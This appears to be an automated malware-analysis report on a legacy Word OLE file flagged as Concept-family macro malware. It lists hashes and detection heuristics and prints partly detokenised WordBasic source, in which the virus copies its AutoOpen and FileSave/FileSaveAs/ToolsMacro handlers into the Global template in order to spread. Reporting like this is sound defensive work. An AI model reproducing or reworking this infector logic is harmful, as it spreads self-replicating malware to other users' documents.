Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7f9f55bc47a505b5…

MALICIOUS

Office (OLE)

7.5 KB First seen: 2014-02-16
MD5: 04b12878436027a62b5e28f35c7e1ab2 SHA-1: 07a6dae7a33843c7040f310688a16b30213615fa SHA-256: 7f9f55bc47a505b5a678988605b36b78167870c10c7f16f9b245a0a6c2a1a4b4
102 Risk Score

Heuristics 3

  • ClamAV: Win.Trojan.Concept-7 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Concept-7
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Recovered legacy WordBasic macro source info OLE_LEGACY_WORDBASIC_MACRO_SOURCE
    The Word 6.0/95 document stores tokenised WordBasic macros in the WordDocument stream rather than as a modern VBA project, so VBA source extraction cannot see them. The macro source was detokenised and carved so its identifiers, string literals (file paths, URLs, registry keys, message text) and comments are available for review and signature scanning.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
wordbasic_macros.txt wordbasic-macro analyzer.wordbasic (detokenised Word 6/95 WordBasic macro source) 1535 bytes
SHA-256: 21298ad95a35fc75061f1e89ab1851b1e7bf6295c5beb2a42fa100d0be0319c3
Preview script
First 1,000 lines of the extracted script
, = * ,   ,  
29797 ,         =
MAIN
, - * Abort
iMacroCount = @cmd80b7 0 , 0
REM see if we're already installed
i = 1 iMacroCount
i
bInstalled bTooMuchTrouble
iWW6IInstance = @cmd8006 @cmd814d "WW6Infector"
sMe$ = @cmd8025
sMacro$ = sMe$ = ":AutoOpen"
@cmd80c2 sMacro$ , "Global:AAAAAA"
sMacro$ = sMe$ = ":AAAAAB"
@cmd80c2 sMacro$ , "Global:FileSaveAs"
sMacro$ = sMe$ = ":AAAAAC"
@cmd80c2 sMacro$ , "Global:FileSave"
sMacro$ = sMe$ = ":AAAAAD"
@cmd80c2 sMacro$ , "Global:ToolsMacro"
@cmd8046 "WW6I" , @cmd8007 iWW6IInstance = 1
MAIN
REM this becomes the FileSaveAs for the global template
dlg @cmd0054
, - * bail
dlg
dlg
dlg = 0 dlg = 1
sMe$ = @cmd8025
sTMacro$ = sMe$ = ":AutoOpen"
@cmd80c2 "Global:AAAAAA" , sTMacro$
sTMacro$ = sMe$ = ":AAAAAB"
@cmd80c2 "Global:FileSaveAs" , sTMacro$
sTMacro$ = sMe$ = ":AAAAAC"
@cmd80c2 "Global:FileSave" , sTMacro$
sTMacro$ = sMe$ = ":AAAAAD"
@cmd80c2 "Global:ToolsMacro" , sTMacro$
@cmd0054 dlg
* Done
25625 Err 102
@cmd0054 dlg
MAIN
Fname$ = @cmd8008 @cmd8009 @cmd8025 , 12 , 8
Fname$ = "Document" Fname$ = "Template" * Bail
sMe$ = @cmd8025
sTMacro$ = sMe$ = ":AutoOpen"
@cmd80c2 "Global:AAAAAA" , sTMacro$
sTMacro$ = sMe$ = ":AAAAAB"
@cmd80c2 "Global:FileSaveAs" , sTMacro$
sTMacro$ = sMe$ = ":AAAAAC"
@cmd80c2 "Global:FileSave" , sTMacro$
sTMacro$ = sMe$ = ":AAAAAD"
@cmd80c2 "Global:ToolsMacro" , sTMacro$
@cmd0054 = @cmd8025 , = 1
* Done
25625 Err 102
dlg @cmd0054
dlg
, - * Done
dlg
dlg = 0 dlg = 1
sMe$ = @cmd8025
sTMacro$ = sMe$ = ":AutoOpen"
@cmd80c2 "Global:AAAAAA" , sTMacro$
sTMacro$

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